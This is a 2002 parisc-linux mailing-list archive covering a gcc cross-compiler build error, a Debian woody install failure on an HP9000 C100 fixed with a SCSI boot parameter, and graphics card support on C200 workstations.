I would also to do so. But I had the bad idea to co the last gcc release
(yesterday and today) to rebuild the toolchain.
But gcc build seems to be broken (step 4.2 of your procedure):

gcc -c -DIN_GCC    -g -O2 -W -Wall -Wwrite-strings -Wstrict-prototypes
-Wmissing-prototypes   -DHAVE_CONFIG_H    -I. -Ijava
-I/GNU-Dev/parisc-linux/src/gcc/gcc -I/GNU-Dev/parisc-linux/src/gcc/gcc/java
-I/GNU-Dev/parisc-linux/src/gcc/gcc/config
-I/GNU-Dev/parisc-linux/src/gcc/gcc/../include
/GNU-Dev/parisc-linux/src/gcc/gcc/java/parse.c -o java/parse.o
/tmp/ccj2Nlrs.s: Assembler messages:
/tmp/ccj2Nlrs.s:148746: Error: Field out of range [-262144..262143] (-263392).
make[1]: *** [java/parse.o] Error 1
make[1]: Leaving directory `/GNU-Dev/parisc-linux/build/gcc/gcc'
make: *** [all-gcc] Error 2

Last week co did not try to build any java.
Any idea or work-around?

Joel

PS1: about step 4.2 of your howto-xc, I notice a small difference between html
and pdf (in html you use gcc option "enable-shared" in pdf "disable-shared").
But this not the cause of the above problem.

PS2: I also make an apt-get dist-upgrade (with ftp.de.debian.org) so that native
gcc is now 3.0.4-5 (I think it was already installed last week)




-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem installing Debian woody in PA-RISC
  (HP9000 C100)
Date: Tue, 23 Apr 2002 10:19:16 -0700
Lines: 88
Approved: news@gmane.org
Message-ID: <4.3.2.7.2.20020423101440.0264d218@mira-sjc5-9.cisco.com>
References: <5813913456.20020423154804@uib.es>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621250 6455 80.91.229.3 (22 Nov 2014 01:54:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:10 +0000 (UTC)
To: Juan Pedro Vilar <dijjvb@uib.es>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 11:19:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5ABEA483C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Apr 2002 11:19:26 -0600 (MDT)
Original-Received: from mira-sjc5-9.cisco.com (IDENT:mirapoint@mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-1.cisco.com (8.12.2/8.12.2) with ESMTP id g3NHJLpG001815;
	Tue, 23 Apr 2002 10:19:21 -0700 (PDT)
Original-Received: from CSUDER-W2K.cisco.com (dhcp-171-71-143-44.cisco.com [171.71.143.44])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ACS03163;
	Tue, 23 Apr 2002 10:19:31 -0700 (PDT)
X-Sender: csuder@mira-sjc5-9.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
In-Reply-To: <5813913456.20020423154804@uib.es>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14633

Juan Pedro,

does the machine have a wide-differential SCSI harddrive ? Then this 
applies to you :

Filesystem Corruption! Systems with NCR/LSI 53c720 Fast/Wide/Differential 
SCSI interface need to use
"ncr53c8xx=burst:3" palo boot parameter. This avoids overflowing the 
on-chip DMA FIFO which results in file
system corruption on disks behind that interface. Either edit 
/etc/palo.conf or add this manually at boot time. 2.4.16-pa14
(and newer) kernels with a "real" fix are available on our FTP site.

You need to manually give the paramter when booting from the CD. Otherwise 
all sorts of weird things happen - been there, done that ;-)

         Christian














At 03:48 PM 4/23/2002 +0200, Juan Pedro Vilar wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Hi,
>
>I've been trying to install the latest Debian woody
>release(palinux-0.9.3.iso) on a PA-RISC (HP9000 C100) and I can't get
>it
>to install the base system.
>I follow all the installation steps and everything runs smoothly
>until I
>get to the "Install base system". While installing it, I get the
>following warning "Failure trying to run:chroot /target mount" and
>then
>if I try to swap to another console and issue the same command, I get
>a
>"segmentation fault" error. When I hit the continue button, then I
>get a
>"Base Installation error, debootstrap exited with an error (return
>value
>1)" and he then asks me to install again the base system. We also
>tried
>to skip this step the second time and everything seem to worked but
>the
>system was, of course, not usable after that as some packages were
>missing and we were getting plenty of segmentation faults.
>The machine has no special hardware added and we think we have
>followed
>all the steps from the installation guide. We have also browsed the
>web
>looking for this problem and we've found no reference.
>Are we missing something? Any hints anybody?
>thanks in advance,
>
>
>
>- --
>Saludos,
>  Juan Pedro                         mailto:dijjvb@uib.es
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP 6.5i
>
>iQA/AwUBPMVYDmh0yy+67OVzEQKudQCgwtfl6+6zSEfLP6E6JEq1Rp3DOEsAn1Fa
>wtegncIohNFq3nHiJ8BHQz1w
>=hCMK
>-----END PGP SIGNATURE-----
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 experimental debs
Date: Tue, 23 Apr 2002 13:24:13 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200204231724.g3NHOEN7029591@hiauly1.hia.nrc.ca>
References: <1019582168.3cc596d87ba8a@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621250 6457 80.91.229.3 (22 Nov 2014 01:54:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:10 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, willy@debian.org, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 11:24:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4A5D483B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Apr 2002 11:24:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g3NHOFFN029592;
	Tue, 23 Apr 2002 13:24:15 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g3NHOEN7029591;
	Tue, 23 Apr 2002 13:24:14 -0400 (EDT)
In-Reply-To: <1019582168.3cc596d87ba8a@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Apr 23, 2002 07:16:08 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14634

> I would also to do so. But I had the bad idea to co the last gcc release
> (yesterday and today) to rebuild the toolchain.
> But gcc build seems to be broken (step 4.2 of your procedure):
> 
> gcc -c -DIN_GCC    -g -O2 -W -Wall -Wwrite-strings -Wstrict-prototypes
> -Wmissing-prototypes   -DHAVE_CONFIG_H    -I. -Ijava
> -I/GNU-Dev/parisc-linux/src/gcc/gcc -I/GNU-Dev/parisc-linux/src/gcc/gcc/java
> -I/GNU-Dev/parisc-linux/src/gcc/gcc/config
> -I/GNU-Dev/parisc-linux/src/gcc/gcc/../include
> /GNU-Dev/parisc-linux/src/gcc/gcc/java/parse.c -o java/parse.o
> /tmp/ccj2Nlrs.s: Assembler messages:
> /tmp/ccj2Nlrs.s:148746: Error: Field out of range [-262144..262143] (-263392).
> make[1]: *** [java/parse.o] Error 1
> make[1]: Leaving directory `/GNU-Dev/parisc-linux/build/gcc/gcc'
> make: *** [all-gcc] Error 2
> 
> Last week co did not try to build any java.
> Any idea or work-around?

"make bootstrap".

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 experimental debs
Date: Tue, 23 Apr 2002 17:47:58 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20020423174758.C8545@systemhalted>
References: <3CC2B937.8020509@freebel.net> <20020421162538.G5225@parcelfarce.linux.theplanet.co.uk> <20020423111903.A8545@systemhalted> <1019582168.3cc596d87ba8a@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621251 6461 80.91.229.3 (22 Nov 2014 01:54:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 15:48:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8493B482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Apr 2002 15:47:59 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g3NLlw009220;
	Tue, 23 Apr 2002 17:47:58 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1019582168.3cc596d87ba8a@webmail.tiscalinet.be>; from joel.soete@freebel.net on Tue, Apr 23, 2002 at 07:16:08PM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14635

> 
> Joel
> 
> PS1: about step 4.2 of your howto-xc, I notice a small difference between html
> and pdf (in html you use gcc option "enable-shared" in pdf "disable-shared").
> But this not the cause of the above problem.
> 
> PS2: I also make an apt-get dist-upgrade (with ftp.de.debian.org) so that native
> gcc is now 3.0.4-5 (I think it was already installed last week)
> 
>

Both the HTML and PDF version are the same (just double checked).

http://www.baldric.uwo.ca/~carlos/HOWTO-Parisc/index.html
http://www.baldric.uwo.ca/~carlos/HOWTO-Parisc/HOWTO-Building_PARISC-LINUX_CrossCompiler.pdf

In section 4.2 you are bootstraping the C compiler without glibc
so you must use --disable-shared.

In section 4.5 you have already built glibc and you can turn
shared support back on with --enable-shared.

c.

p.s. The HTML and PDF do have some formatting differences...
     I'll get around to making them look similar later :}
     Dang... just noticed I missed one of the path changes in
     the pdf...



From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] c200 fx graphics status?
Date: Tue, 23 Apr 2002 18:51:44 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <3CC5E580.5090403@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621251 6463 80.91.229.3 (22 Nov 2014 01:54:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 16:51:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx11.cluster1.charter.net (dc-mx11.cluster0.hsacorp.net [209.225.8.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A341482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Apr 2002 16:51:36 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by mx11.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 3774284 for parisc-linux@lists.parisc-linux.org; Tue, 23 Apr 2002 18:50:32 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020310
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14636

Hi list!

I just subscribed here. I'm on debian-hppa but that doesn't
seem to get much traffic, so I'll repost my question here.

I have previous experience with parisc-linux in that I had
it installed and working ( with X ) on a 715/80. Thinking
to move on to bigger things, I sold it on Ebay and rolled
my profits into a C200 with some unspecified FX graphics
board.

Now, from what I have gleaned, this machine only works in
serial console mode? Do any graphics cards work with it
for X yet? I do have a HP7000/60 dumb terminal, but of
course I want to run X if I can.

I'm an accomplished kernel recompiler if that means anything.

(Nervously gnawing fingernails waiting for reply's)




From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c200 fx graphics status?
Date: 23 Apr 2002 17:19:12 -0600
Lines: 54
Approved: news@gmane.org
Message-ID: <1019603952.1635.5.camel@beavis>
References: <3CC5E580.5090403@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621251 6466 80.91.229.3 (22 Nov 2014 01:54:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 17:19:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 284C6482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Apr 2002 17:19:14 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 7F9F8BDE7; Tue, 23 Apr 2002 17:19:12 -0600 (MDT)
In-Reply-To: <3CC5E580.5090403@charter.net>
X-Mailer: Evolution/1.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14637

The answer is it depends upon the graphics card.  I have a C200+
that I use at work that I have been self-hosting on at work with 
a GSC video card:

5. Coral SGC Graphics (10) at 0xfa000000 [8/4], versions 0x4, 0x0, 0x77

using framebuffers and X.  I also have a C200+ at home with a PCI
video card 

Dec  5 22:11:05 vega kernel: STI device: HPA4552A

in which STI is supported, but not the framebuffer device (ie. 
no X).

Sorry I can't provide much additional advice, that is just
works and does not work for me.

thanks,

- Ryan



On Tue, 2002-04-23 at 16:51, B. Douglas Hilton wrote:
> Hi list!
> 
> I just subscribed here. I'm on debian-hppa but that doesn't
> seem to get much traffic, so I'll repost my question here.
> 
> I have previous experience with parisc-linux in that I had
> it installed and working ( with X ) on a 715/80. Thinking
> to move on to bigger things, I sold it on Ebay and rolled
> my profits into a C200 with some unspecified FX graphics
> board.
> 
> Now, from what I have gleaned, this machine only works in
> serial console mode? Do any graphics cards work with it
> for X yet? I do have a HP7000/60 dumb terminal, but of
> course I want to run X if I can.
> 
> I'm an accomplished kernel recompiler if that means anything.
> 
> (Nervously gnawing fingernails waiting for reply's)
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c200 fx graphics status?
Date: Tue, 23 Apr 2002 19:28:59 -0400
Lines: 78
Approved: news@gmane.org
Message-ID: <3CC5EE3B.6030104@charter.net>
References: <3CC5E580.5090403@charter.net> <1019603952.1635.5.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621252 6474 80.91.229.3 (22 Nov 2014 01:54:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 17:28:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx08.cluster1.charter.net (dc-mx08.cluster0.hsacorp.net [209.225.8.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15F314835
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Apr 2002 17:28:52 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx08.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 39276800; Tue, 23 Apr 2002 19:33:40 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020310
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14638

Thanks for the info. Here's my comments and reply.


Ryan Bradetich wrote:
> The answer is it depends upon the graphics card.  I have a C200+
> that I use at work that I have been self-hosting on at work with 
> a GSC video card:
> 
> 5. Coral SGC Graphics (10) at 0xfa000000 [8/4], versions 0x4, 0x0, 0x77


Is the Coral an HCRX-24? I'm curious as to which boards will work in a
C200. I'll try and get a different card for it if need be.


> 
> using framebuffers and X.  I also have a C200+ at home with a PCI
> video card 
> 
> Dec  5 22:11:05 vega kernel: STI device: HPA4552A
> 
> in which STI is supported, but not the framebuffer device (ie. 
> no X).


Well that is better than dumb terminal mode at least. I wish
I was like Brian Paul and could bang out Mesa/DRI support for these
FX boards, I'd like to see QuakeForge running on a hppa box in OpenGL
mode someday :-)


> 
> Sorry I can't provide much additional advice, that is just
> works and does not work for me.
> 
> thanks,
> 
> - Ryan
> 
> 
> 
> On Tue, 2002-04-23 at 16:51, B. Douglas Hilton wrote:
> 
>>Hi list!
>>
>>I just subscribed here. I'm on debian-hppa but that doesn't
>>seem to get much traffic, so I'll repost my question here.
>>
>>I have previous experience with parisc-linux in that I had
>>it installed and working ( with X ) on a 715/80. Thinking
>>to move on to bigger things, I sold it on Ebay and rolled
>>my profits into a C200 with some unspecified FX graphics
>>board.
>>
>>Now, from what I have gleaned, this machine only works in
>>serial console mode? Do any graphics cards work with it
>>for X yet? I do have a HP7000/60 dumb terminal, but of
>>course I want to run X if I can.
>>
>>I'm an accomplished kernel recompiler if that means anything.
>>
>>(Nervously gnawing fingernails waiting for reply's)
>>
>>
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
> 
> 
> 
> 






From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Duraid Madina" <duraid@fl.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Problem installing Debian woody in PA-RISC (HP9000 C100)
Date: Wed, 24 Apr 2002 09:49:45 +1000
Lines: 11
Approved: news@gmane.org
Message-ID: <000e01c1eb21$8e684210$022a17ac@simplex>
References: <20020423155139.51956482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621252 6478 80.91.229.3 (22 Nov 2014 01:54:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:12 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 17:49:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA0314835
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Apr 2002 17:49:48 -0600 (MDT)
Original-Received: from simplex (idesign.fl.net.au [203.30.61.17])
	by delenn.fl.net.au (Postfix) with ESMTP
	id 2FA8717FC00; Wed, 24 Apr 2002 09:52:27 +1000 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
In-Reply-To: <20020423155139.51956482A@dsl2.external.hp.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14639

> I don't know what the problem here is.
> But my gut feeling is we should create a 0.9.4 CD with recent 
> bits instead of persuing this problem. Did anyone care to do 
> that in the near future?

Any chance 0.9.4 would boot on PA-8700s?

	Duraid




From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c200 fx graphics status?
Date: Tue, 23 Apr 2002 22:20:23 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20020424042023.DC87A482B@dsl2.external.hp.com>
References: <3CC5E580.5090403@charter.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621252 6486 80.91.229.3 (22 Nov 2014 01:54:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 22:20:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
